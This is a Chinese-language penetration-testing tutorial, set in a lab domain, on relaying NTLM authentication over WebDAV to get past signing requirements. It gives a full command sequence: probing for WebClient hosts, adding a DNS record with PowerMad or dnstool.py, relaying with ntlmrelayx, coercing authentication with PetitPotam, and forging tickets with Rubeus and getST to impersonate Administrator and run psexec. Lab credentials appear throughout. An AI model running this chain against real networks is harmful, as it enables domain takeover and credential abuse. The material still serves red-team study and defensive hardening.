0x1 前言
NTLM Relay大家已经不再陌生了,很多时候我们通过NTLM Relay进行攻击时,会受到协议签名(ldap/s、smb等协议签名)的影响从而导致攻击失败,并且随着时间的流逝,我们想要遇到忽略签名的smb等服务也变得越来越困难了,我们有哪些方法来忽略服务端验证签名的影响从而达到我们relay攻击的目的呢?
我们可以寻找不支持签名的服务,来避免服务端的签名校验。若客户端不支持签名验证的话,服务端在与客户端通信时是不会强制要求签名认证的。因此我们可以使用HTTP服务中的WebDav来尝试Relay攻击了。
0x2 什么是WebDav
WebDAV是一组基于超文本传输协议的技术集合,有利于用户间协同编辑和管理存储在万维网服务器文档。通俗一点儿来说,WebDAV 就是一种互联网方法,应用此方法可以在服务器上划出一块存储空间,可以使用用户名和密码来控制访问,让用户可以直接存储、下载、编辑文件。
Windows通过WebClient服务实现WebDav,允许Windows程序通过WebDav来创建、读取以及写入服务器上的文件,并通过HTTP服务进行通信,在客户端访问WebDav时,若开启Windows身份验证机制,我们便可以通过域内凭证进行访问服务。
0x3 攻击步骤
- 拿到一枚域用户
- 探测开启WebDav的服务器
- 在域内为攻击机添加DNS解析
- 使用Responder进行中继与委派
- 强制WebDav服务器认证攻击机
- 执行基于资源的约束委派攻击
0x4 攻击流程
0x01 探测WebDav服务
拿到域内权限后,通过GetWebDAVStatus.exe
探测内网中开放WebDav的服务器。
发现目标后,为了让Relay顺利进行,我们可以添加一份DNS A记录,从而使得WebDav通过默认凭据来对我们进行身份验证,由于在Windows当中,WebDav由WebClient服务实现,而WebClient服务仅对内网以及受信任站点中的目标来采用默认凭据进行身份验证。
0x02 添加DNS解析
0x1.域内使用PowerMad添加
此处我们使用PowerMad进行添加DNS A解析记录,此处我们添加解析记录,普通域用户也可添加,并非只有域管用户才可操作。
1 | import-module .\invoke-DNSupdate.ps1 |
紧接着使用ipconfig /flushdns
刷新dns本地缓存后可以看到使用ping命令即可成功解析我们所添加的记录
0x2.域外使用dnstool.py添加
1 | python3 dnstool.py -u pentest.local\\Sharp -p Admin#123 -r evil.pentest.local -d 10.0.10.128 --action add ws01.pentest.local |
0x03 准备NTLM Relay
回到攻击机进行操作。
利用Impacket项目ntlmrelayx.py
执行攻击,指定LDAP协议进行身份验证,目标主机设置为域控,利用-delegate-access选项执行基于资源的约束委派攻击。
1 | python3 ntlmrelayx.py -t ldaps://ws01 --delegate-access -smb2support |
0x04 强制认证主机创建机器账户
回到被我们控制的主机,使用PetitPotam 强制WebDav服务器认证我们的攻击机,此处不可使用ip进行强制认证,使用我们先前添加的DNS解析进行强制认证,此处的@
符号前为主机名,后为端口号。
0x1.域内认证
1 | PetitPotam.exe evil@80/evil.cnf 10.0.10.110 |
0x2.域外认证
1 | python3 PetitPotam.py -u sharp -p Admin#123 -d pentest.local evil@80/ad 10.0.10.110 |
这时候,回到攻击机查看可以发现,我们此时已经通过ws03$
的身份,创建了一个机器账户
这时我们回到域控查看WebDav服务器,可以发现msDS-KeyCredentialLink
属性已经被修改。
0x05 申请票据
0x1.域内申请票据
此时,我们便可以通过S4U扩展协议来申请访问WebDav目标机的ST票据了。
将密码转为hash,便于我们进行使用Rubeus进行申请票据
1 | .\Rubeus.exe hash /domain:pentest.local /user:RUVEPAFW$ /password:'gm9wPzATZ<RT5Ei' |
1 | .\Rubeus.exe s4u /user:RUVEPAFW$ /rc4:4A5AD55249E75BB39F928EFB55A8A81B /impersonateuser:Administrator /msdsspn:host/ws03.pentest.local /altservice:cifs /nowrap /ptt |
由于开启了PTT模块,此时我们缓存中已经加载了申请来的ST票据,拥有了访问WS03机器共享目录权限。
当然,我们也可以将申请到的kirbi票据除空格后解码base64,利用ticketConverter转为cacche格式,于域外利用
1 | echo 'payload' | base64 -d > administrator.kirbi |
将申请到的票据加载到环境变量中,使用psexec登陆远程服务器。
1 | export KRB5CCNAME=/opt/tools/impacket/examples/administrator.ccache |
0x2.域外申请票据
参考委派,使用机器账户身份申请ST票据
1 | python3 getST.py -dc-ip 10.0.10.111 pentest/RUVEPAFW\$ -spn cifs/ws03.pentest.local -impersonate administrator |
0x5 参考文章
1 | https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient |